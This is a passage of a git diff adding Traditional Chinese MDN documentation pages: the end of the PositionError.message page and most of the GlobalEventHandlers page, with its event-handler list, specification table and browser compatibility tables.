+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#message', 'PositionError.message')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器的相容性">瀏覽器的相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="請參考">請參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>屬於 {{domxref("PositionError")}}。</li>
+</ul>
diff --git a/files/zh-tw/web/api/globaleventhandlers/index.html b/files/zh-tw/web/api/globaleventhandlers/index.html
new file mode 100644
index 0000000000..492ed0ae93
--- /dev/null
+++ b/files/zh-tw/web/api/globaleventhandlers/index.html
@@ -0,0 +1,682 @@
+---
+title: GlobalEventHandlers
+slug: Web/API/GlobalEventHandlers
+translation_of: Web/API/GlobalEventHandlers
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p><strong><code>GlobalEventHandlers(通用事件處理器)</code></strong>在多個介面，如 {{domxref("HTMLElement")}}、{{domxref("Document")}} 和 {{domxref("Window")}} 當中加入了共有的事件處理器屬性，這些介面皆能夠加入除了以下清單外的更多事件處理器。</p>
+
+<div class="note">
+<p><strong>Note</strong>: <code>GlobalEventHandlers</code> is a mixin and not an interface; you can't actually create an object of type <code>GlobalEventHandlers</code>.</p>
+</div>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>This interface doesn't include any properties except for the event handlers listed below.</em></p>
+
+<h3 id="事件處理器">事件處理器</h3>
+
+<p>These event handlers are defined on the {{domxref("GlobalEventHandlers")}} mixin, and implemented by {{domxref("HTMLElement")}}, {{domxref("Document")}}, {{domxref("Window")}}, as well as by {{domxref("WorkerGlobalScope")}} for Web Workers.</p>
+
+<div id="Properties">
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onabort")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("abort")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onanimationcancel")}} {{Non-standard_inline}}</dt>
+ <dd>An {{domxref("EventHandler")}} called when an {{event("animationcancel")}} event is sent, indicating that a running <a href="/docs/Web/CSS/CSS_Animations">CSS animation</a> has been canceled.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onanimationend")}} {{Non-standard_inline}}</dt>
+ <dd>An {{domxref("EventHandler")}} called when an {{event("animationend")}} event is sent, indicating that a <a href="/docs/Web/CSS/CSS_Animations">CSS animation</a> has stopped playing.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onanimationiteration")}} {{Non-standard_inline}}</dt>
+ <dd>An {{domxref("EventHandler")}} called when an {{event("animationiteration")}} event has been sent, indicating that a <a href="/docs/Web/CSS/CSS_Animations">CSS animation</a> has begun playing a new iteration of the animation sequence.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onanimationstart")}} {{Non-standard_inline}}</dt>
+ <dd>An {{domxref("EventHandler")}} called when an {{event("animationstart")}} event is sent, indicating that a <a href="/docs/Web/CSS/CSS_Animations">CSS animation</a> has started playing.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onauxclick")}} {{Non-standard_inline}}</dt>
+ <dd>An {{domxref("EventHandler")}} called when an {{event("auxclick")}} event is sent, indicating that a non-primary button has been pressed on an input device (e.g. a middle mouse button).</dd>
+ <dt>{{domxref("GlobalEventHandlers.onblur")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("blur")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onerror")}}</dt>
+ <dd>Is an {{domxref("OnErrorEventHandler")}} representing the code to be called when the {{event("error")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onfocus")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("focus")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncancel")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("cancel")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncanplay")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("canplay")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncanplaythrough")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("canplaythrough")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onchange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("change")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclick")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("click")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclose")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("close")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncontextmenu")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("contextmenu")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncuechange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("cuechange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondblclick")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dblclick")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondrag")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("drag")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragend")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragend")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragenter")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragenter")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragexit")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragexit")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragleave")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragleave")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragover")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragover")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragstart")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragstart")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondrop")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("drop")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondurationchange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("durationchange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onemptied")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("emptied")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onended")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("ended")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ongotpointercapture")}}</dt>
+ <dd>
+ <p>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("gotpointercapture")}} event type is raised.</p>
+ </dd>
+ <dt>{{domxref("GlobalEventHandlers.oninput")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("input")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oninvalid")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("invalid")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeydown")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("keydown")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeypress")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("keypress")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeyup")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("keyup")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onload")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("load")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadeddata")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadeddata")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadedmetadata")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadedmetadata")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadend")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadend")}} event is raised (when progress has stopped on the loading of a resource.)</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadstart")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadstart")}} event is raised (when progress has begun on the loading of a resource.)</dd>
+ <dt>{{domxref("GlobalEventHandlers.onlostpointercapture")}}</dt>
+ <dd>
+ <p>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("lostpointercapture")}} event type is raised.</p>
+ </dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousedown")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mousedown")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseenter")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseenter")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseleave")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseleave")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousemove")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mousemove")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseout")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseout")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseover")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseover")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseup")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseup")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousewheel")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mousewheel")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpause")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pause")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onplay")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("play")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onplaying")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("playing")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerdown")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerdown")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointermove")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointermove")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerup")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerup")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointercancel")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointercancel")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerover")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerover")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerout")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerout")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerenter")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerevent")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerleave")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerleave")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerlockchange")}} {{experimental_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerlockchange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerlockerror")}} {{experimental_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerlockerror")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onprogress")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("progress")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onratechange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("ratechange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onreset")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("reset")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onscroll")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("scroll")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onseeked")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("seeked")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onseeking")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("seeking")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselect")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("select")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselectstart")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised, i.e. when the user starts to make a new text selection on a web page.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselectionchange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised, i.e. when the text selected on a web page changes.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onshow")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("show")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsort")}} {{experimental_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("sort")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onstalled")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("stalled")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsubmit")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("submit")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsuspend")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("suspend")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontimeupdate")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("timeupdate")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onvolumechange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("volumechange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontouchcancel")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("touchcancel")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontouchend")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("touchend")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontouchmove")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("touchmove")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontouchstart")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("touchstart")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontransitioncancel")}}</dt>
+ <dd>An {{domxref("EventHandler")}} called when a {{event("transitioncancel")}} event is sent, indicating that a <a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS transition</a> has been cancelled.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontransitionend")}}</dt>
+ <dd>An {{domxref("EventHandler")}} called when a {{event("transitionend")}} event is sent, indicating that a <a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS transition</a> has finished playing.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onwaiting")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("waiting")}} event is raised.</dd>
+</dl>
+</div>
+
+<h2 id="方法">方法</h2>
+
+<p><em>This interface defines no methods.</em></p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Selection API",'', 'Extension to GlobalEventHandlers')}}</td>
+   <td>{{Spec2('Selection API')}}</td>
+   <td>Adds <code>onselectionchange.</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock', '#extensions-to-the-document-interface', 'Extension of Document')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>Adds <code>onpointerlockchange</code> and <code>onpointerlockerror</code> on {{domxref("Document")}}. It is experimentally implemented on <code>GlobalEventHandlers</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#globaleventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#globaleventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Added <code>onsort</code> since the {{SpecName("HTML5 W3C")}} snapshot.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#globaleventhandlers", "GlobalEventHandlers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>GlobalEventHandlers</code> (properties where on the target before it).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>oncanplay</code>, <code>oncanplaythrough</code>, <code>ondurationchange</code>, <code>onemptied</code>, <code>onended</code>, <code>onloadeddata</code>, <code>onloadedmetadata</code>, <code>onloadstart</code>, <code>onpause</code>, <code>onplay</code>, <code>onplaying</code>, <code>onprogress</code>, <code>onratechange</code>, <code>onseeked</code>, <code>onseeking</code>, <code>onstalled</code>, <code>ontimeupdate</code>, <code>onvolumechange</code>, <code>onwaiting</code></td>
+   <td>{{CompatGeckoDesktop(1.9.1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onsuspend</code></td>
+   <td>{{CompatGeckoDesktop(1.9.2)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ondrag</code>, <code>ondragend</code>, <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragover</code>, <code>ondragstart</code>, <code>ondrop</code></td>
+   <td>{{CompatGeckoDesktop(1.9.1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onmouseenter</code>, <code>onmouseleave</code></td>
+   <td>{{CompatGeckoDesktop(10)}}</td>
+   <td>{{CompatChrome(30.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>5.5</td>
+   <td>17</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ondragexit</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>oncancel</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onclose</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>oncuechange</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onmousewheel</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onsort</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onmozfullscreenchange</code>, <code>onmozfullscreenerror</code> {{non-standard_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>onpointerlockchange</code>, <code>onpointerlockerror</code></td>
+   <td>{{CompatGeckoDesktop(10)}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[2] </sup>{{property_prefix("-webkit")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onpointercancel</code>, <code>onpointerdown</code>, <code>onpointerup</code>, <code>onpointermove</code>, <code>onpointerout</code>, <code>onpointerover</code>, <code>onpointerenter</code>, <code>onpointerleave</code></td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onselectionchange</code></td>
+   <td>{{CompatGeckoDesktop(43)}}<sup>[4]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ontouchend</code>, <code>ontouchcancel</code>, <code>ontouchmove</code>, <code>ontouchstart</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>animationstart</code>, <code>animationend</code>, <code>animationcancel</code>, <code>animationiteration</code></td>
+   <td>{{CompatGeckoDesktop(51)}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ongotpointercapture</code>, <code>onlostpointercapture</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(57.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(44)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onauxclick</code></td>
+   <td>{{CompatGeckoDesktop(53)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ondrag</code>, <code>ondragend</code>, <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragover</code>, <code>ondragstart</code>, <code>ondrop</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.9.1)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
